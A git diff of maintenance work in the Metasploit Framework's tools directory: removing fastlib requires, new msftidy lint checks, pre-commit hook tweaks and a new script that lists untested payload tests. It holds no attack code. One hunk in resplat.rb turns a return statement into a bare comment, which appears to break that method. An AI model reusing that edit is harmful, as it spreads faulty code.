53a5791264..514cc75c26 100755 --- a/tools/dev/pre-commit-hook.rb +++ b/tools/dev/pre-commit-hook.rb @@ -50,8 +50,9 @@ end changed_files.each_line do |fname| fname.strip! - next unless File.exist?(fname) and File.file?(fname) - next unless fname =~ /modules.+\.rb/ + next unless File.exist?(fname) + next unless File.file?(fname) + next unless fname =~ /^modules.+\.rb/ files_to_check << fname end @@ -64,7 +65,7 @@ else msftidy_output= %x[ #{cmd} ] puts "#{fname} - msftidy check passed" if msftidy_output.empty? msftidy_output.each_line do |line| - valid = false + valid = false unless line['INFO'] puts line end end diff --git a/tools/dev/resplat.rb b/tools/dev/resplat.rb index 01bf8c3f3d..8f3ade8c9c 100755 --- a/tools/dev/resplat.rb +++ b/tools/dev/resplat.rb @@ -22,7 +22,7 @@ end def resplat(line) if line =~ /This file is part of the Metasploit Framework/ - return "# This module requires Metasploit: http//metasploit.com/download\n" +# This module requires Metasploit: http://metasploit.com/download elsif line =~ /# redistribution and commercial restrictions\./ return "# Current source: https://github.com/rapid7/metasploit-framework\n" else diff --git a/tools/exe2vba.rb b/tools/exe2vba.rb index e40912dfc6..28f23c3acf 100755 --- a/tools/exe2vba.rb +++ b/tools/exe2vba.rb @@ -14,7 +14,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/exe2vbs.rb b/tools/exe2vbs.rb index b4b54df1bb..bf7918a9e5 100755 --- a/tools/exe2vbs.rb +++ b/tools/exe2vbs.rb @@ -13,7 +13,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/find_badchars.rb b/tools/find_badchars.rb index 545c5fa08c..c26f3127b7 100755 --- a/tools/find_badchars.rb +++ b/tools/find_badchars.rb @@ -14,7 +14,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/halflm_second.rb b/tools/halflm_second.rb index 3931589373..cc3a83bd0e 100755 --- a/tools/halflm_second.rb +++ b/tools/halflm_second.rb @@ -16,7 +16,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/hmac_sha1_crack.rb b/tools/hmac_sha1_crack.rb index 55032893e2..87ef46d20a 100755 --- a/tools/hmac_sha1_crack.rb +++ b/tools/hmac_sha1_crack.rb @@ -16,7 +16,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/list_interfaces.rb b/tools/list_interfaces.rb index 174b42d73d..d792bf2e9c 100755 --- a/tools/list_interfaces.rb +++ b/tools/list_interfaces.rb @@ -15,7 +15,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/lm2ntcrack.rb b/tools/lm2ntcrack.rb index 7e24904feb..28a3e6f701 100755 --- a/tools/lm2ntcrack.rb +++ b/tools/lm2ntcrack.rb @@ -14,7 +14,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/metasm_shell.rb b/tools/metasm_shell.rb index c2610105b3..4ef1030353 100755 --- a/tools/metasm_shell.rb +++ b/tools/metasm_shell.rb @@ -21,7 +21,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/missing-payload-tests.rb b/tools/missing-payload-tests.rb new file mode 100755 index 0000000000..202bc7b656 --- /dev/null +++ b/tools/missing-payload-tests.rb @@ -0,0 +1,85 @@ +#!/usr/bin/env ruby + +# Reads untest payload modules from log/untested-payloads.log (which can be produced by running `rake spec`) and prints +# the statements that need to be added to `spec/modules/payloads_spec.rb`. **Note: this script depends on the payload +# being loadable, so if module is not loadable, then the developer must manually determine which single needs to be tested +# or which combinations of stages and stagers need to be tested.** + +msfbase = __FILE__ +while File.symlink?(msfbase) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) +end + +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +require 'msfenv' +require 'msf/core' +require 'msf/base' + +framework = Msf::Simple::Framework.create() + +options_set_by_ancestor_reference_name = Hash.new { |hash, ancestor_reference_name| + hash[ancestor_reference_name] = Set.new +} + +framework.payloads.each { |reference_name, payload_class| + module_ancestors = payload_class.ancestors.select { |ancestor| + # need to use try because name may be nil for anonymous Modules + ancestor.name.try(:start_with?, 'Msf::Modules::') + } + ancestor_reference_names = module_ancestors.map { |module_ancestor| + unpacked_module_ancestor_full_name = module_ancestor.name.sub(/^Msf::Modules::Mod/, '') + .sub(/::Metasploit\d+/, '') + module_ancestor_full_name = [unpacked_module_ancestor_full_name].pack("H*") + module_ancestor_full_name.sub(%r{^payload/}, '') + } + + options = { + reference_name: reference_name, + ancestor_reference_names: ancestor_reference_names + } + + # record for both ancestor_reference_names as which is untested is not known here + ancestor_reference_names.each do |ancestor_reference_name| + options_set_by_ancestor_reference_name[ancestor_reference_name].add options + end +} + +tested_options = Set.new + +$stderr.puts "Add the following context to `spec/modules/payloads_spec.rb` by inserting them in lexical order between the pre-existing contexts:" + +File.open('log/untested-payloads.log') { |f| + f.each_line do |line| + ancestor_reference_name = line.strip + + options_set = options_set_by_ancestor_reference_name[ancestor_reference_name] + + options_set.each do |options| + # don't print a needed test twice + unless tested_options.include? options + reference_name = options[:reference_name] + + $stderr.puts + $stderr.puts " context '#{reference_name}' do\n" \ + " it_should_behave_like 'payload can be instantiated',\n" \ + " ancestor_reference_name: [" + + ancestor_reference_names = options[:ancestor_reference_names] + + if ancestor_reference_names.length == 1 + $stderr.puts " '#{ancestor_reference_names[0]}'" + else + $stderr.puts " '#{ancestor_reference_names[0]}'," + $stderr.puts " '#{ancestor_reference_names[1]}'" + end + + $stderr.puts " ],\n" \ + " modules_pathname: modules_pathname,\n" \ + " reference_name: '#{reference_name}'\n" \ + " end" + + tested_options.add options + end + end + end +} diff --git a/tools/module_author.rb b/tools/module_author.rb index 13de302149..8deefe6fcd 100755 --- a/tools/module_author.rb +++ b/tools/module_author.rb @@ -13,7 +13,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_changelog.rb b/tools/module_changelog.rb index 98e8ace0f0..fb2df57b85 100755 --- a/tools/module_changelog.rb +++ b/tools/module_changelog.rb @@ -13,7 +13,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_count.rb b/tools/module_count.rb index 1e81a32989..4a6740dd5c 100755 --- a/tools/module_count.rb +++ b/tools/module_count.rb @@ -8,7 +8,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_disclodate.rb b/tools/module_disclodate.rb index b6a0715a22..60f322a684 100755 --- a/tools/module_disclodate.rb +++ b/tools/module_disclodate.rb @@ -12,7 +12,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_license.rb b/tools/module_license.rb index 86011fda47..5ac9df31d9 100755 --- a/tools/module_license.rb +++ b/tools/module_license.rb @@ -13,7 +13,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_mixins.rb b/tools/module_mixins.rb index c9e8004177..80426f2db1 100755 --- a/tools/module_mixins.rb +++ b/tools/module_mixins.rb @@ -13,7 +13,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_payloads.rb b/tools/module_payloads.rb index 1f1c19a5d5..a801805a1d 100755 --- a/tools/module_payloads.rb +++ b/tools/module_payloads.rb @@ -13,7 +13,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_ports.rb b/tools/module_ports.rb index 39048f2b57..c3ec02f4eb 100755 --- a/tools/module_ports.rb +++ b/tools/module_ports.rb @@ -13,7 +13,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_rank.rb b/tools/module_rank.rb index 3c0c1357d2..1d199d8e0d 100755 --- a/tools/module_rank.rb +++ b/tools/module_rank.rb @@ -13,7 +13,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_reference.rb b/tools/module_reference.rb index 4f4d2c50ac..ed3271bd91 100755 --- a/tools/module_reference.rb +++ b/tools/module_reference.rb @@ -13,7 +13,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_targets.rb b/tools/module_targets.rb index 90712c87bc..7876553798 100755 --- a/tools/module_targets.rb +++ b/tools/module_targets.rb @@ -13,7 +13,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/msf_irb_shell.rb b/tools/msf_irb_shell.rb index 46f9575d15..02ae39148a 100755 --- a/tools/msf_irb_shell.rb +++ b/tools/msf_irb_shell.rb @@ -10,7 +10,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 4663f2a533..2759585f06 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -11,7 +11,7 @@ require 'find' require 'time' CHECK_OLD_RUBIES = !!ENV['MSF_CHECK_OLD_RUBIES'] -SUPRESS_INFO_MESSAGES = !!ENV['MSF_SUPPRESS_INFO_MESSAGES'] +SUPPRESS_INFO_MESSAGES = !!ENV['MSF_SUPPRESS_INFO_MESSAGES'] if CHECK_OLD_RUBIES require 'rvm' @@ -47,11 +47,16 @@ class Msftidy WARNINGS = 0x10 ERRORS = 0x20 + # Some compiles regexes + REGEX_MSF_EXPLOIT = / \< Msf::Exploit/ + REGEX_IS_BLANK_OR_END = /^\s*end\s*$/ + attr_reader :full_filepath, :source, :stat, :name, :status def initialize(source_file) @full_filepath = source_file @source = load_file(source_file) + @lines = @source.lines # returns an enumerator @status = OK @name = File.basename(source_file) end @@ -92,7 +97,7 @@ class Msftidy # Display an info message. Info messages do not alter the exit status. # def info(txt, line=0) - return if SUPRESS_INFO_MESSAGES + return if SUPPRESS_INFO_MESSAGES line_msg = (line>0) ? ":#{line}" : '' puts "#{@full_filepath}#{line_msg} - [#{'INFO'.cyan}] #{cleanup_text(txt)}" end @@ -110,7 +115,7 @@ class Msftidy end def check_shebang - if @source.lines.first =~ /^#!/ + if @lines.first =~ /^#!/ warn("Module should not have a #! line") end end @@ -126,16 +131,14 @@ class Msftidy msg = "Using Nokogiri in modules can be risky, use REXML instead." has_nokogiri = false has_nokogiri_xml_parser = false - @source.each_line do |line| + @lines.each do |line| if has_nokogiri if line =~ /Nokogiri::XML\.parse/ or line =~ /Nokogiri::XML::Reader/ has_nokogiri_xml_parser = true break end else - if line =~ /^\s*(require|load)\s+['"]nokogiri['"]/ - has_nokogiri = true - end + has_nokogiri = line_has_require?(line, 'nokogiri') end end error(msg) if has_nokogiri_xml_parser @@ -145,7 +148,7 @@ class Msftidy in_super = false in_refs = false - @source.each_line do |line| + @lines.each do |line| if !in_super and line =~ /\s+super\(/ in_super = true elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ @@ -174,8 +177,6 @@ class Msftidy warn("milw0rm references are no longer supported.") when 'EDB' warn("Invalid EDB reference") if value !~ /^\d+$/ - when 'WVE' - warn("Invalid WVE reference") if value !~ /^\d+\-\d+$/ when 'US-CERT-VU' warn("Invalid US-CERT-VU reference") if value !~ /^\d+$/ when 'ZDI' @@ -191,8 +192,6 @@ class Msftidy warn("Please use 'MSB' for '#{value}'") elsif value =~ /^http:\/\/www\.exploit\-db\.com\/exploits\// warn("Please use 'EDB' for '#{value}'") - elsif value =~ /^http:\/\/www\.wirelessve\.org\/entries\/show\/WVE\-/ - warn("Please use 'WVE' for '#{value}'") elsif value =~ /^http:\/\/www\.kb\.cert\.org\/vuls\/id\// warn("Please use 'US-CERT-VU' for '#{value}'") end @@ -201,6 +200,23 @@ class Msftidy end end + # See if 'require "rubygems"' or equivalent is used, and + # warn if so. Since Ruby 1.9 this has not been necessary and + # the framework only suports 1.9+ + def check_rubygems + @lines.each do |line| + if line_has_require?(line, 'rubygems') + warn("Explicitly requiring/loading rubygems is not necessary") + break + end + end + end + + # Does the given line contain a require/load of the specified library? + def line_has_require?(line, lib) + line =~ /^\s*(require|load)\s+['"]#{lib}['"]/ + end + def check_snake_case_filename sep = File::SEPARATOR good_name = Regexp.new "^[a-z0-9_#{sep}]+\.rb$" @@ -219,7 +235,7 @@ class Msftidy max_count = 10 counter = 0 if @source =~ /^##/ - @source.each_line do |line| + @lines.each do |line| # If exists, the $Id$ keyword should appear at the top of the code. # If not (within the first 10 lines), then we assume there's no # $Id$, and then bail. @@ -251,7 +267,7 @@ class Msftidy in_super = false in_author = false - @source.each_line do |line| + @lines.each do |line| # # Mark our "super" code block # @@ -329,8 +345,37 @@ class Msftidy error("Fails alternate Ruby version check") if rubies.size != res.size end + def is_exploit_module? + ret = false + if @source =~ REGEX_MSF_EXPLOIT + # having Msf::Exploit is good indicator, but will false positive on + # specs and other files containing the string, but not really acting + # as exploit modules, so here we check the file for some actual contents + # this could be done in a simpler way, but this let's us add more later + msf_exploit_line_no = nil + @lines.each_with_index do |line, idx| + if line =~ REGEX_MSF_EXPLOIT + # note the line number + msf_exploit_line_no = idx + elsif msf_exploit_line_no + # check there is anything but empty space between here and the next end + # something more complex could be added here + if line !~ REGEX_IS_BLANK_OR_END + # if the line is not 'end' and is not blank, prolly exploit module + ret = true + break + else + # then keep checking in case there are more than one Msf::Exploit + msf_exploit_line_no = nil + end + end + end + end + ret + end + def check_ranking - return if @source !~ / \< Msf::Exploit/ + return unless is_exploit_module? available_ranks = [ 'ManualRanking', @@ -369,7 +414,7 @@ class Msftidy error('Incorrect disclosure date format') end else - error('Exploit is missing a disclosure date') if @source =~ / \< Msf::Exploit/ + error('Exploit is missing a disclosure date') if is_exploit_module? end end @@ -425,7 +470,7 @@ class Msftidy src_ended = false idx = 0 - @source.each_line { |ln| + @lines.each do |ln| idx += 1 # block comment awareness @@ -504,7 +549,7 @@ class Msftidy if ln =~ /^\s*Rank\s*=\s*/ and @source =~ /<\sMsf::Auxiliary/ warn("Auxiliary modules have no 'Rank': #{ln}", idx) end - } + end end def check_vuln_codes @@ -523,6 +568,24 @@ class Msftidy end end + def check_newline_eof + if @source !~ /(?:\r\n|\n)\z/m + info('Please add a newline at the end of the file') + end + end + + def check_sock_get + if @source =~ /\s+sock\.get(\s*|\(|\d+\s*|\d+\s*,\d+\s*)/m && @source !~ /sock\.get_once/ + info('Please use sock.get_once instead of sock.get') + end + end + + def check_udp_sock_get + if @source =~ /udp_sock\.get/m && @source !~ /udp_sock\.get\([a-zA-Z0-9]+/ + info('Please specify a timeout to udp_sock.get') + end + end + private def load_file(file) @@ -551,6 +614,7 @@ def run_checks(full_filepath) tidy.check_mode tidy.check_shebang tidy.check_nokogiri + tidy.check_rubygems tidy.check_ref_identifiers tidy.check_old_keywords tidy.check_verbose_option @@ -567,6 +631,9 @@ def run_checks(full_filepath) tidy.check_comment_splat tidy.check_vuln_codes tidy.check_vars_get + tidy.check_newline_eof + tidy.check_sock_get + tidy.check_udp_sock_get return tidy end diff --git a/tools/nasm_shell.rb b/tools/nasm_shell.rb index 850bda1154..e3fc10e53f 100755 --- a/tools/nasm_shell.rb +++ b/tools/nasm_shell.rb @@ -15,7 +15,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/pack_fastlib.sh b/tools/pack_fastlib.sh deleted file mode 100755 index d81a8f11c9..0000000000 --- a/tools/pack_fastlib.sh +++ /dev/null @@ -1,6 +0,0 @@ -#!/bin/sh - -mkdir fastlib-archived -./lib/fastlib.rb store modules.fastlib 12345603 modules/ modules/* -./lib/fastlib.rb store lib/metasploit.fastlib 12345603 lib lib/msf/ lib/rex* -mv lib/msf lib/rex* modules/ fastlib-archived diff --git a/tools/pattern_create.rb b/tools/pattern_create.rb index b177bd2219..540e546568 100755 --- a/tools/pattern_create.rb +++ b/tools/pattern_create.rb @@ -10,7 +10,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/pattern_offset.rb b/tools/pattern_offset.rb index 6cd69bf79f..ff13d8ce4f 100755 --- a/tools/pattern_offset.rb +++ b/tools/pattern_offset.rb @@ -8,7 +8,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/payload_lengths.rb b/tools/payload_lengths.rb index 06ac4d24f8..7a30e1dff0 100755 --- a/tools/payload_lengths.rb +++ b/tools/payload_lengths.rb @@ -13,7 +13,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/psexec.rb b/tools/psexec.rb index 1e6d152d91..290cf14ae9 100755 --- a/tools/psexec.rb +++ b/tools/psexec.rb @@ -10,7 +10,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/reg.rb b/tools/reg.rb index 63880edd5d..dbb764e983 100755 --- a/tools/reg.rb +++ b/tools/reg.rb @@ -13,7 +13,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/virustotal.rb b/tools/virustotal.rb index 16fe01fd80..132b8b6bb5 100755 --- a/tools/virustotal.rb +++ b/tools/virustotal.rb @@ -1,7 +1,7 @@ #!/usr/bin/env ruby ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -34,7 +34,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' require 'rex' require 'msf/core'